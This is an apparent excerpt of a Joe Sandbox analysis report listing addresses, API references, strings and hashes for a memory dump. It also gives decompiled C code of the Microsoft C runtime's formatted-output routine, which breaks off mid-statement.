0x00000000
0x00000000
0x00434c69
0x00434c69
0x00434c6f
0x00434c74
0x00000000
0x00000000
0x00434c76
0x00434c7c
0x00434c7f
0x00434c7f
0x00434c87
0x00434c8d
0x00434c90
0x00434c92
0x00434cf2
0x00000000
0x00434cf2
0x00000000
0x00434fab
0x00434fab
0x00000000
0x00000000
0x00434fc7
0x00434fc7
0x00434fd1
0x00434fd1
0x00434fdb
0x00434fe1
0x00434fe3
0x00434fed
0x00434ff0
0x00434ff3
0x00434ff3
0x00000000
0x00000000
0x00000000
0x00000000
0x00434a94
0x004352a2
0x004352a2
0x004352a2
0x004352a2
0x004352a2
0x004352a2
0x004352a2
0x004350ff
0x004350f6
0x0043501a
0x0043501a
0x0043501a

APIs

_get_int64_arg.LIBCMTD ref: 00435028
_get_int64_arg.LIBCMTD ref: 00435050
__aullrem.LIBCMT ref: 004351F5
__aulldiv.LIBCMT ref: 00435217
_write_multi_char.LIBCMTD ref: 0043531E
_write_string.LIBCMTD ref: 00435339
_write_multi_char.LIBCMTD ref: 00435365
_wctomb_s.LIBCMTD ref: 004353E2

Strings

_output_s_l, xrefs: 0043468E
f:\dd\vctools\crt_bld\self_x86\crt\src\output.c, xrefs: 00434659, 00434689
9, xrefs: 00435228
("Incorrect format specifier", 0), xrefs: 0043464D, 00434693
-, xrefs: 004352BE

Memory Dump Source

Source File: 00000000.00000002.664580287.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.664575684.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.664628218.0000000000440000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.664661556.000000000054A000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.664669500.0000000000550000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_sbxGIUIhRd.jbxd

Similarity

API ID: _get_int64_arg_write_multi_char$__aulldiv__aullrem_wctomb_s_write_string
String ID: ("Incorrect format specifier", 0)$-$9$_output_s_l$f:\dd\vctools\crt_bld\self_x86\crt\src\output.c
API String ID: 3451365851-3266125857
Opcode ID: a55876fe007b979a5aac74acb6cde206939e76b4ea9fc1a126e7a8bdc6bd58e2
Instruction ID: 47f7a6cdcc722b8ccd86852e565be6506a6e474c9c81ce0c38f11ceba42774ec
Opcode Fuzzy Hash: a55876fe007b979a5aac74acb6cde206939e76b4ea9fc1a126e7a8bdc6bd58e2
Instruction Fuzzy Hash: 26F128B1D016299FDB24CF58CC99BEEB7B1BB88304F1491DAE409A7241D7789E80CF59

Uniqueness

Uniqueness Score: -1.00%

Function 0043C3AB, Relevance: 33.6, APIs: 15, Strings: 4, Instructions: 365
COMMON

Download Yara Rule

C-Code - Quality: 67%

			E0043C3AB(void* __ebx, signed int __edx, void* __edi, void* __esi) {
				signed int _t485;
				signed int _t504;
				void* _t509;
				signed int _t511;
				void* _t519;
				void* _t537;
				intOrPtr _t541;
				signed int _t558;
				signed short _t559;
				signed int _t562;
				signed int _t565;
				signed int _t566;
				void* _t567;
				signed int _t621;
				signed int _t623;
				signed int _t625;
				signed int _t632;
				signed int _t644;
				signed int _t671;
				void* _t672;
				void* _t673;
				signed int _t674;
				void* _t676;
				void* _t677;
				signed int _t683;

				L0:
				while(1) {
					L0:
					_t673 = __esi;
					_t672 = __edi;
					_t621 = __edx;
					_t567 = __ebx;
					 *(_t674 - 0x10) =  *(_t674 - 0x10) | 0x00000040;
					 *(_t674 - 8) = 0xa;
					L150:
					while(1) {
						L150:
						while(1) {
							L150:
							while(1) {
								L150:
								if(( *(_t674 - 0x10) & 0x00008000) == 0) {
									_t623 =  *(_t674 - 0x10) & 0x00001000;
									if(_t623 == 0) {
										if(( *(_t674 - 0x10) & 0x00000020) == 0) {
											_t625 =  *(_t674 - 0x10) & 0x00000040;
											if(_t625 == 0) {
												_t485 = E00428370(_t674 + 0x14);
												_t677 = _t676 + 4;
												 *(_t674 - 0x4a0) = _t485;
												 *(_t674 - 0x49c) = 0;
											} else {
												_t558 = E00428370(_t674 + 0x14);
												_t677 = _t676 + 4;
												asm("cdq");
												 *(_t674 - 0x4a0) = _t558;
												 *(_t674 - 0x49c) = _t625;
											}
										} else {
											_t671 =  *(_t674 - 0x10) & 0x00000040;
											if(_t671 == 0) {
												_t559 = E00428370(_t674 + 0x14);
												_t677 = _t676 + 4;
												asm("cdq");
												 *(_t674 - 0x4a0) = _t559 & 0x0000ffff;
												 *(_t674 - 0x49c) = _t671;
											} else {
												_t562 = E00428370(_t674 + 0x14);
												_t677 = _t676 + 4;
												asm("cdq");
												 *(_t674 - 0x4a0) = _t562;
												 *(_t674 - 0x49c) = _t671;
											}
										}
									} else {
										_t565 = E00428390(_t674 + 0x14);
										_t677 = _t676 + 4;
										 *(_t674 - 0x4a0) = _t565;
										 *(_t674 - 0x49c) = _t623;
									}
								} else {
									_t566 = E00428390(_t674 + 0x14);
									_t677 = _t676 + 4;
									 *(_t674 - 0x4a0) = _t566;
									 *(_t674 - 0x49c) = _t621;
								}
								if(( *(_t674 - 0x10) & 0x00000040) == 0) {
									L167:
									 *(_t674 - 0x4a8) =  *(_t674 - 0x4a0);
									 *(_t674 - 0x4a4) =  *(_t674 - 0x49c);
									goto L168;
								} else {
									L163:
									_t683 =  *(_t674 - 0x49c);
									if(_t683 > 0 || _t683 >= 0 &&  *(_t674 - 0x4a0) >= 0) {
										goto L167;
									} else {
										L166:
										asm("adc edx, 0x0");
										 *(_t674 - 0x4a8) =  ~( *(_t674 - 0x4a0));
										 *(_t674 - 0x4a4) =  ~( *(_t674 - 0x49c));
										 *(_t674 - 0x10) =  *(_t674 - 0x10) | 0x00000100;
										L168:
										if(( *(_t674 - 0x10) & 0x00008000) == 0 && ( *(_t674 - 0x10) & 0x00001000) == 0) {
											 *(_t674 - 0x4a4) =  *(_t674 - 0x4a4) & 0x00000000;
										}
										if( *(_t674 - 0x30) >= 0) {
											 *(_t674 - 0x10) =  *(_t674 - 0x10) & 0xfffffff7;
											if( *(_t674 - 0x30) > 0x200) {
												 *(_t674 - 0x30) = 0x200;
											}
										} else {
											 *(_t674 - 0x30) = 1;
										}
										if(( *(_t674 - 0x4a8) |  *(_t674 - 0x4a4)) == 0) {
											 *(_t674 - 0x1c) = 0;
										}
										 *((intOrPtr*)(_t674 - 4)) = _t674 - 0x249;
										while(1) {
											L178:
											_t631 =  *(_t674 - 0x30) - 1;
											 *(_t674 - 0x30) =  *(_t674 - 0x30) - 1;
											if( *(_t674 - 0x30) <= 0 && ( *(_t674 - 0x4a8) |  *(_t674 - 0x4a4)) == 0) {
												break;
											}
											L180:
											asm("cdq");
											_t632 =  *(_t674 - 0x4a8);
											 *((intOrPtr*)(_t674 - 0x494)) = E004307A0(_t632,  *(_t674 - 0x4a4),  *(_t674 - 8), _t631) + 0x30;
											asm("cdq");
											 *(_t674 - 0x4a8) = E00430820( *(_t674 - 0x4a8),  *(_t674 - 0x4a4),  *(_t674 - 8), _t632);
											 *(_t674 - 0x4a4) = _t632;
											if( *((intOrPtr*)(_t674 - 0x494)) > 0x39) {
												 *((intOrPtr*)(_t674 - 0x494)) =  *((intOrPtr*)(_t674 - 0x494)) +  *((intOrPtr*)(_t674 - 0x460));
											}
											 *((char*)( *((intOrPtr*)(_t674 - 4)))) =  *((intOrPtr*)(_t674 - 0x494));
											 *((intOrPtr*)(_t674 - 4)) =  *((intOrPtr*)(_t674 - 4)) - 1;
										}
										L183:
										 *((intOrPtr*)(_t674 - 0x24)) = _t674 - 0x249 -  *((intOrPtr*)(_t674 - 4));
										 *((intOrPtr*)(_t674 - 4)) =  *((intOrPtr*)(_t674 - 4)) + 1;
										if(( *(_t674 - 0x10) & 0x00000200) != 0 && ( *((intOrPtr*)(_t674 - 0x24)) == 0 ||  *((char*)( *((intOrPtr*)(_t674 - 4)))) != 0x30)) {
											 *((intOrPtr*)(_t674 - 4)) =  *((intOrPtr*)(_t674 - 4)) - 1;
											 *((char*)( *((intOrPtr*)(_t674 - 4)))) = 0x30;
											 *((intOrPtr*)(_t674 - 0x24)) =  *((intOrPtr*)(_t674 - 0x24)) + 1;
										}
										L187:
										while(1) {
											L187:
											while(1) {
												L187:
												while(1) {
													L187:
													while(1) {
														L187:
														while(1) {
															L187:
															while(1) {
																L187:
																while(1) {
																	do {
																		L187:
																		if( *((intOrPtr*)(_t674 - 0x28)) != 0) {
																			L212:
																			if( *(_t674 - 0x20) != 0) {
																				L0041C550( *(_t674 - 0x20), 2);
																				_t677 = _t677 + 8;
																				 *(_t674 - 0x20) = 0;
																			}
																			while(1) {
																				L214:
																				 *(_t674 - 0x454) =  *((intOrPtr*)( *((intOrPtr*)(_t674 + 0xc))));
																				_t580 =  *(_t674 - 0x454) & 0x0000ffff;
																				 *((intOrPtr*)(_t674 + 0xc)) =  *((intOrPtr*)(_t674 + 0xc)) + 2;
																				if(( *(_t674 - 0x454) & 0x0000ffff) == 0 ||  *(_t674 - 0x44c) < 0) {
																					break;
																				} else {
																					if(( *(_t674 - 0x454) & 0x0000ffff) < 0x20 || ( *(_t674 - 0x454) & 0x0000ffff) > 0x78) {
																						 *(_t674 - 0x4d8) = 0;
																					} else {
																						 *(_t674 - 0x4d8) =  *(( *(_t674 - 0x454) & 0x0000ffff) +  &M00407DE8) & 0xf;
																					}
																				}
																				L7:
																				 *(_t674 - 0x450) =  *(_t674 - 0x4d8);
																				_t644 =  *(_t674 - 0x450) * 9;
																				_t511 =  *(_t674 - 0x45c);
																				_t588 = ( *(_t644 + _t511 + 0x407e08) & 0x000000ff) >> 4;
																				 *(_t674 - 0x45c) = ( *(_t644 + _t511 + 0x407e08) & 0x000000ff) >> 4;
																				if( *(_t674 - 0x45c) != 8) {
																					L16:
																					 *(_t674 - 0x4e0) =  *(_t674 - 0x45c);
																					if( *(_t674 - 0x4e0) > 7) {
																						continue;
																					}
																					L17:
																					switch( *((intOrPtr*)( *(_t674 - 0x4e0) * 4 +  &M0043C994))) {
																						case 0:
																							L18:
																							 *(_t674 - 0xc) = 1;
																							E0043CAA0( *(_t674 - 0x454) & 0x0000ffff,  *((intOrPtr*)(_t674 + 8)), _t674 - 0x44c);
																							_t677 = _t677 + 0xc;
																							goto L214;
																						case 1:
																							L19:
																							 *(__ebp - 0x2c) = 0;
																							__ecx =  *(__ebp - 0x2c);
																							 *(__ebp - 0x28) = __ecx;
																							__edx =  *(__ebp - 0x28);
																							 *(__ebp - 0x18) =  *(__ebp - 0x28);
																							__eax =  *(__ebp - 0x18);
																							 *(__ebp - 0x1c) =  *(__ebp - 0x18);
																							 *(__ebp - 0x10) = 0;
																							 *(__ebp - 0x30) = 0xffffffff;
																							 *(__ebp - 0xc) = 0;
																							goto L214;
																						case 2:
																							L20:
																							__ecx =  *(__ebp - 0x454) & 0x0000ffff;
																							 *(__ebp - 0x4e4) = __ecx;
																							 *(__ebp - 0x4e4) =  *(__ebp - 0x4e4) - 0x20;
																							 *(__ebp - 0x4e4) =  *(__ebp - 0x4e4) - 0x20;
																							if( *(__ebp - 0x4e4) > 0x10) {
																								goto L27;
																							}
																							L21:
																							_t59 =  *(__ebp - 0x4e4) + 0x43c9cc; // 0x498d04
																							__ecx =  *_t59 & 0x000000ff;
																							switch( *((intOrPtr*)(__ecx * 4 +  &M0043C9B4))) {
																								case 0:
																									goto L24;
																								case 1:
																									goto L25;
																								case 2:
																									goto L23;
																								case 3:
																									goto L22;
																								case 4:
																									goto L26;
																								case 5:
																									goto L27;
																							}
																						case 3:
																							L28:
																							__ecx =  *(__ebp - 0x454) & 0x0000ffff;
																							if(( *(__ebp - 0x454) & 0x0000ffff) != 0x2a) {
																								 *(__ebp - 0x18) =  *(__ebp - 0x18) * 0xa;
																								_t83 = ( *(__ebp - 0x454) & 0x0000ffff) - 0x30; // -48
																								__ecx =  *(__ebp - 0x18) * 0xa + _t83;
																								 *(__ebp - 0x18) = __ecx;
																							} else {
																								__edx = __ebp + 0x14;
																								 *(__ebp - 0x18) = E00428370(__ebp + 0x14);
																								if( *(__ebp - 0x18) < 0) {
																									 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000004;
																									 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000004;
																									__ecx =  *(__ebp - 0x18);
																									__ecx =  ~( *(__ebp - 0x18));
																									 *(__ebp - 0x18) = __ecx;
																								}
																							}
																							goto L214;
																						case 4:
																							L34:
																							 *(__ebp - 0x30) = 0;
																							goto L214;
																						case 5:
																							L35:
																							__edx =  *(__ebp - 0x454) & 0x0000ffff;
																							if(( *(__ebp - 0x454) & 0x0000ffff) != 0x2a) {
																								__ecx =  *(__ebp - 0x30);
																								__ecx =  *(__ebp - 0x30) * 0xa;
																								_t94 = ( *(__ebp - 0x454) & 0x0000ffff) - 0x30; // -48
																								__eax = __ecx + _t94;
																								 *(__ebp - 0x30) = __ecx + _t94;
																							} else {
																								__eax = __ebp + 0x14;
																								 *(__ebp - 0x30) = E00428370(__ebp + 0x14);
																								if( *(__ebp - 0x30) < 0) {
																									 *(__ebp - 0x30) = 0xffffffff;
																								}
																							}
																							goto L214;
																						case 6:
																							L41:
																							__ecx =  *(__ebp - 0x454) & 0x0000ffff;
																							 *(__ebp - 0x4e8) = __ecx;
																							 *(__ebp - 0x4e8) =  *(__ebp - 0x4e8) - 0x49;
																							 *(__ebp - 0x4e8) =  *(__ebp - 0x4e8) - 0x49;
																							if( *(__ebp - 0x4e8) > 0x2e) {
																								L64:
																								goto L214;
																							}
																							L42:
																							_t102 =  *(__ebp - 0x4e8) + 0x43c9f4; // 0xc2019003
																							__ecx =  *_t102 & 0x000000ff;
																							switch( *((intOrPtr*)(__ecx * 4 +  &M0043C9E0))) {
																								case 0:
																									L47:
																									__ecx =  *(__ebp + 0xc);
																									__edx =  *( *(__ebp + 0xc)) & 0x0000ffff;
																									if(( *( *(__ebp + 0xc)) & 0x0000ffff) != 0x36) {
																										L50:
																										__ecx =  *(__ebp + 0xc);
																										__edx =  *( *(__ebp + 0xc)) & 0x0000ffff;
																										if(( *( *(__ebp + 0xc)) & 0x0000ffff) != 0x33) {
																											L53:
																											__ecx =  *(__ebp + 0xc);
																											__edx =  *__ecx & 0x0000ffff;
																											if(( *__ecx & 0x0000ffff) == 0x64) {
																												L59:
																												L61:
																												goto L64;
																											}
																											L54:
																											__eax =  *(__ebp + 0xc);
																											__ecx =  *( *(__ebp + 0xc)) & 0x0000ffff;
																											if(__ecx == 0x69) {
																												goto L59;
																											}
																											L55:
																											__edx =  *(__ebp + 0xc);
																											__eax =  *( *(__ebp + 0xc)) & 0x0000ffff;
																											if(( *( *(__ebp + 0xc)) & 0x0000ffff) == 0x6f) {
																												goto L59;
																											}
																											L56:
																											__ecx =  *(__ebp + 0xc);
																											__edx =  *__ecx & 0x0000ffff;
																											if(( *__ecx & 0x0000ffff) == 0x75) {
																												goto L59;
																											}
																											L57:
																											__eax =  *(__ebp + 0xc);
																											__ecx =  *( *(__ebp + 0xc)) & 0x0000ffff;
																											if(__ecx == 0x78) {
																												goto L59;
																											}
																											L58:
																											__edx =  *(__ebp + 0xc);
																											__eax =  *( *(__ebp + 0xc)) & 0x0000ffff;
																											if(( *( *(__ebp + 0xc)) & 0x0000ffff) != 0x58) {
																												 *(__ebp - 0x45c) = 0;
																												goto L18;
																											}
																											goto L59;
																										}
																										L51:
																										__eax =  *(__ebp + 0xc);
																										__ecx =  *( *(__ebp + 0xc) + 2) & 0x0000ffff;
																										if(__ecx != 0x32) {
																											goto L53;
																										} else {
																											 *(__ebp + 0xc) =  *(__ebp + 0xc) + 4;
																											 *(__ebp + 0xc) =  *(__ebp + 0xc) + 4;
																											 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0xffff7fff;
																											 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0xffff7fff;
																											goto L61;
																										}
																									}
																									L48:
																									__eax =  *(__ebp + 0xc);
																									__ecx =  *( *(__ebp + 0xc) + 2) & 0x0000ffff;
																									if(__ecx != 0x34) {
																										goto L50;
																									} else {
																										 *(__ebp + 0xc) =  *(__ebp + 0xc) + 4;
																										 *(__ebp + 0xc) =  *(__ebp + 0xc) + 4;
																										 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00008000;
																										 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00008000;
																										goto L61;
																									}
																								case 1:
																									L62:
																									__ecx =  *(__ebp - 0x10);
																									__ecx =  *(__ebp - 0x10) | 0x00000020;
																									 *(__ebp - 0x10) = __ecx;
																									goto L64;
																								case 2:
																									L43:
																									__edx =  *(__ebp + 0xc);
																									__eax =  *( *(__ebp + 0xc)) & 0x0000ffff;
																									if(( *( *(__ebp + 0xc)) & 0x0000ffff) != 0x6c) {
																										 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000010;
																										 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000010;
																									} else {
																										__ecx =  *(__ebp + 0xc);
																										__ecx =  *(__ebp + 0xc) + 2;
																										 *(__ebp + 0xc) = __ecx;
																										 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00001000;
																										 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00001000;
																									}
																									goto L64;
																								case 3:
																									L63:
																									 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000800;
																									 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000800;
																									goto L64;
																								case 4:
																									goto L64;
																							}
																						case 7:
																							goto L65;
																						case 8:
																							L24:
																							__ecx =  *(__ebp - 0x10);
																							__ecx =  *(__ebp - 0x10) | 0x00000002;
																							 *(__ebp - 0x10) = __ecx;
																							goto L27;
																						case 9:
																							L25:
																							 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000080;
																							 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000080;
																							goto L27;
																						case 0xa:
																							L23:
																							 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000001;
																							 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000001;
																							goto L27;
																						case 0xb:
																							L22:
																							 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000004;
																							 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000004;
																							goto L27;
																						case 0xc:
																							L26:
																							 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000008;
																							 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000008;
																							goto L27;
																						case 0xd:
																							L27:
																							goto L214;
																					}
																				} else {
																					_t642 = 0;
																					if(0 == 0) {
																						 *(_t674 - 0x4dc) = 0;
																					} else {
																						 *(_t674 - 0x4dc) = 1;
																					}
																					 *(_t674 - 0x46c) =  *(_t674 - 0x4dc);
																					if( *(_t674 - 0x46c) == 0) {
																						_push(L"(\"Incorrect format specifier\", 0)");
																						_push(0);
																						_push(0x460);
																						_push(L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c");
																						_push(2);
																						_t519 = L0041E390();
																						_t677 = _t677 + 0x14;
																						if(_t519 == 1) {
																							asm("int3");
																						}
																					}
																					L14:
																					if( *(_t674 - 0x46c) != 0) {
																						goto L16;
																					} else {
																						 *((intOrPtr*)(L00422E80(_t588))) = 0x16;
																						E00422C10(_t567, _t588, _t672, _t673, L"(\"Incorrect format specifier\", 0)", L"_woutput_s_l", L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c", 0x460, 0);
																						 *(_t674 - 0x4c8) = 0xffffffff;
																						E0041AE30(_t674 - 0x40);
																						_t504 =  *(_t674 - 0x4c8);
																						L225:
																						return E0042BCD0(_t504, _t567,  *(_t674 - 0x48) ^ _t674, _t642, _t672, _t673);
																					}
																				}
																			}
																			L215:
																			if( *(_t674 - 0x45c) == 0 ||  *(_t674 - 0x45c) == 7) {
																				 *(_t674 - 0x4f8) = 1;
																			} else {
																				 *(_t674 - 0x4f8) = 0;
																			}
																			_t642 =  *(_t674 - 0x4f8);
																			 *(_t674 - 0x4bc) =  *(_t674 - 0x4f8);
																			if( *(_t674 - 0x4bc) == 0) {
																				_push(L"((state == ST_NORMAL) || (state == ST_TYPE))");
																				_push(0);
																				_push(0x8f5);
																				_push(L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c");
																				_push(2);
																				_t509 = L0041E390();
																				_t677 = _t677 + 0x14;
																				if(_t509 == 1) {
																					asm("int3");
																				}
																			}
																			if( *(_t674 - 0x4bc) != 0) {
																				 *(_t674 - 0x4d4) =  *(_t674 - 0x44c);
																				E0041AE30(_t674 - 0x40);
																				_t504 =  *(_t674 - 0x4d4);
																			} else {
																				 *((intOrPtr*)(L00422E80(_t580))) = 0x16;
																				E00422C10(_t567, _t580, _t672, _t673, L"((state == ST_NORMAL) || (state == ST_TYPE))", L"_woutput_s_l", L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c", 0x8f5, 0);
																				 *(_t674 - 0x4d0) = 0xffffffff;
																				E0041AE30(_t674 - 0x40);
																				_t504 =  *(_t674 - 0x4d0);
																			}
																			goto L225;
																		}
																		L188:
																		if(( *(_t674 - 0x10) & 0x00000040) != 0) {
																			if(( *(_t674 - 0x10) & 0x00000100) == 0) {
																				if(( *(_t674 - 0x10) & 0x00000001) == 0) {
																					if(( *(_t674 - 0x10) & 0x00000002) != 0) {
																						 *((short*)(_t674 - 0x14)) = 0x20;
																						 *(_t674 - 0x1c) = 1;
																					}
																				} else {
																					 *((short*)(_t674 - 0x14)) = 0x2b;
																					 *(_t674 - 0x1c) = 1;
																				}
																			} else {
																				 *((short*)(_t674 - 0x14)) = 0x2d;
																				 *(_t674 - 0x1c) = 1;
																			}
																		}
																		 *((intOrPtr*)(_t674 - 0x4ac)) =  *((intOrPtr*)(_t674 - 0x18)) -  *((intOrPtr*)(_t674 - 0x24)) -  *(_t674 - 0x1c);
																		if(( *(_t674 - 0x10) & 0x0000000c) == 0) {
																			E0043CB00(0x20,  *((intOrPtr*)(_t674 - 0x4ac)),  *((intOrPtr*)(_t674 + 8)), _t674 - 0x44c);
																			_t677 = _t677 + 0x10;
																		}
																		E0043CB40( *(_t674 - 0x1c), _t674 - 0x14,  *(_t674 - 0x1c),  *((intOrPtr*)(_t674 + 8)), _t674 - 0x44c);
																		_t677 = _t677 + 0x10;
																		if(( *(_t674 - 0x10) & 0x00000008) != 0 && ( *(_t674 - 0x10) & 0x00000004) == 0) {
																			E0043CB00(0x30,  *((intOrPtr*)(_t674 - 0x4ac)),  *((intOrPtr*)(_t674 + 8)), _t674 - 0x44c);
																			_t677 = _t677 + 0x10;
																		}
																		if( *(_t674 - 0xc) != 0 ||  *((intOrPtr*)(_t674 - 0x24)) <= 0) {
																			L208:
																			E0043CB40( *((intOrPtr*)(_t674 - 0x24)),  *((intOrPtr*)(_t674 - 4)),  *((intOrPtr*)(_t674 - 0x24)),  *((intOrPtr*)(_t674 + 8)), _t674 - 0x44c);
																			_t677 = _t677 + 0x10;
																			goto L209;
																		} else {
																			L202:
																			 *((intOrPtr*)(_t674 - 0x4b0)) =  *((intOrPtr*)(_t674 - 4));
																			 *((intOrPtr*)(_t674 - 0x4b4)) =  *((intOrPtr*)(_t674 - 0x24));
																			while(1) {
																				L203:
																				 *((intOrPtr*)(_t674 - 0x4b4)) =  *((intOrPtr*)(_t674 - 0x4b4)) - 1;
																				if( *((intOrPtr*)(_t674 - 0x4b4)) <= 0) {
																					break;
																				}
																				L204:
																				_t537 = E0041AE60(_t674 - 0x40);
																				_t541 = E0043B5A0(_t674 - 0x458,  *((intOrPtr*)(_t674 - 0x4b0)),  *((intOrPtr*)( *((intOrPtr*)(E0041AE60(_t674 - 0x40))) + 0xac)), _t537);
																				_t677 = _t677 + 0x10;
																				 *((intOrPtr*)(_t674 - 0x4b8)) = _t541;
																				if( *((intOrPtr*)(_t674 - 0x4b8)) > 0) {
																					L206:
																					E0043CAA0( *(_t674 - 0x458) & 0x0000ffff,  *((intOrPtr*)(_t674 + 8)), _t674 - 0x44c);
																					_t677 = _t677 + 0xc;
																					 *((intOrPtr*)(_t674 - 0x4b0)) =  *((intOrPtr*)(_t674 - 0x4b0)) +  *((intOrPtr*)(_t674 - 0x4b8));
																					continue;
																				}
																				L205:
																				 *(_t674 - 0x44c) = 0xffffffff;
																				break;
																			}
																			L207:
																			L209:
																			if( *(_t674 - 0x44c) >= 0 && ( *(_t674 - 0x10) & 0x00000004) != 0) {
																				E0043CB00(0x20,  *((intOrPtr*)(_t674 - 0x4ac)),  *((intOrPtr*)(_t674 + 8)), _t674 - 0x44c);
																				_t677 = _t677 + 0x10;
																			}
																			goto L212;
																		}
																		L65:
																		__eax =  *(__ebp - 0x454) & 0x0000ffff;
																		 *(__ebp - 0x4ec) =  *(__ebp - 0x454) & 0x0000ffff;
																		__ecx =  *(__ebp - 0x4ec);
																		__ecx =  *(__ebp - 0x4ec) - 0x41;
																		 *(__ebp - 0x4ec) = __ecx;
																	} while ( *(__ebp - 0x4ec) > 0x37);
																	__edx =  *(__ebp - 0x4ec);
																	_t143 = __edx + 0x43ca60; // 0xcccccc0d
																	__eax =  *_t143 & 0x000000ff;
																	switch( *((intOrPtr*)(( *_t143 & 0x000000ff) * 4 +  &M0043CA24))) {
																		case 0:
																			L120:
																			 *(__ebp - 0x2c) = 1;
																			 *(__ebp - 0x454) & 0x0000ffff = ( *(__ebp - 0x454) & 0x0000ffff) + 0x20;
																			 *(__ebp - 0x454) = __ax;
																			goto L121;
																		case 1:
																			L67:
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000830;
																			if(( *(__ebp - 0x10) & 0x00000830) == 0) {
																				 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000020;
																				 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000020;
																			}
																			goto L69;
																		case 2:
																			L82:
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000830;
																			if(( *(__ebp - 0x10) & 0x00000830) == 0) {
																				 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000020;
																				 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000020;
																			}
																			goto L84;
																		case 3:
																			L143:
																			 *((intOrPtr*)(__ebp - 0x460)) = 7;
																			goto L145;
																		case 4:
																			L75:
																			__eax = __ebp + 0x14;
																			 *(__ebp - 0x474) = E00428370(__ebp + 0x14);
																			if( *(__ebp - 0x474) == 0) {
																				L77:
																				__edx =  *0x440f80; // 0x404448
																				 *(__ebp - 4) = __edx;
																				__eax =  *(__ebp - 4);
																				 *(__ebp - 0x24) = E0041DE30( *(__ebp - 4));
																				L81:
																				goto L187;
																			}
																			L76:
																			__ecx =  *(__ebp - 0x474);
																			if( *((intOrPtr*)( *(__ebp - 0x474) + 4)) != 0) {
																				L78:
																				 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000800;
																				if(( *(__ebp - 0x10) & 0x00000800) == 0) {
																					 *(__ebp - 0xc) = 0;
																					__edx =  *(__ebp - 0x474);
																					__eax =  *(__edx + 4);
																					 *(__ebp - 4) =  *(__edx + 4);
																					__ecx =  *(__ebp - 0x474);
																					__edx =  *__ecx;
																					 *(__ebp - 0x24) =  *__ecx;
																				} else {
																					__edx =  *(__ebp - 0x474);
																					__eax =  *(__edx + 4);
																					 *(__ebp - 4) =  *(__edx + 4);
																					__ecx =  *(__ebp - 0x474);
																					__eax =  *__ecx;
																					asm("cdq");
																					 *__ecx - __edx =  *__ecx - __edx >> 1;
																					 *(__ebp - 0x24) =  *__ecx - __edx >> 1;
																					 *(__ebp - 0xc) = 1;
																				}
																				goto L81;
																			}
																			goto L77;
																		case 5:
																			L121:
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000040;
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000040;
																			__edx = __ebp - 0x448;
																			 *(__ebp - 4) = __ebp - 0x448;
																			 *(__ebp - 0x44) = 0x200;
																			if( *(__ebp - 0x30) >= 0) {
																				L123:
																				if( *(__ebp - 0x30) != 0) {
																					L126:
																					if( *(__ebp - 0x30) > 0x200) {
																						 *(__ebp - 0x30) = 0x200;
																					}
																					L128:
																					if( *(__ebp - 0x30) > 0xa3) {
																						__ecx =  *(__ebp - 0x30);
																						__ecx =  *(__ebp - 0x30) + 0x15d;
																						 *(__ebp - 0x20) = L0041B8D0( *(__ebp - 0x30) + 0x15d,  *(__ebp - 0x30) + 0x15d, 2, "f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c", 0x6da);
																						if( *(__ebp - 0x20) == 0) {
																							 *(__ebp - 0x30) = 0xa3;
																						} else {
																							__edx =  *(__ebp - 0x20);
																							 *(__ebp - 4) =  *(__ebp - 0x20);
																							 *(__ebp - 0x30) =  *(__ebp - 0x30) + 0x15d;
																							 *(__ebp - 0x44) =  *(__ebp - 0x30) + 0x15d;
																						}
																					}
																					 *(__ebp + 0x14) =  *(__ebp + 0x14) + 8;
																					 *(__ebp + 0x14) =  *(__ebp + 0x14) + 8;
																					__edx =  *(__ebp + 0x14);
																					__eax =  *(__edx - 8);
																					__ecx =  *(__edx - 4);
																					 *(__ebp - 0x490) =  *(__edx - 8);
																					 *(__ebp - 0x48c) =  *(__edx - 4);
																					__ecx = __ebp - 0x40;
																					_push(E0041AE60(__ebp - 0x40));
																					__edx =  *(__ebp - 0x2c);
																					_push( *(__ebp - 0x2c));
																					__eax =  *(__ebp - 0x30);
																					_push( *(__ebp - 0x30));
																					__ecx =  *(__ebp - 0x454);
																					_push( *(__ebp - 0x454));
																					__edx =  *(__ebp - 0x44);
																					_push( *(__ebp - 0x44));
																					__eax =  *(__ebp - 4);
																					_push( *(__ebp - 4));
																					__ecx = __ebp - 0x490;
